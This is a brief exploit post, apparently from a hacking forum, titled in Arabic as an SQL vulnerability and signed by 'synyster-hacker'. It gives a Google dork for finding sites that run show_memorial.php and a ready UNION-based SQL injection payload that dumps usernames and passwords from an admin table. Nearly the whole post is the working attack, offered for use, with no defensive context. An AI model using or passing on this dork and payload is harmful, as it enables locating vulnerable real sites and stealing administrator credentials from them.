ثغرة سكيول

[synyster-hacker]

Google Dork : allinurl:show_memorial.php?id="sqli"

Exploit:
~~~~~~~

+and+1=2+union+all+select+1,2,group_concat(username,char(58),password)v3n0m,4,5,6,7,8+from+admin--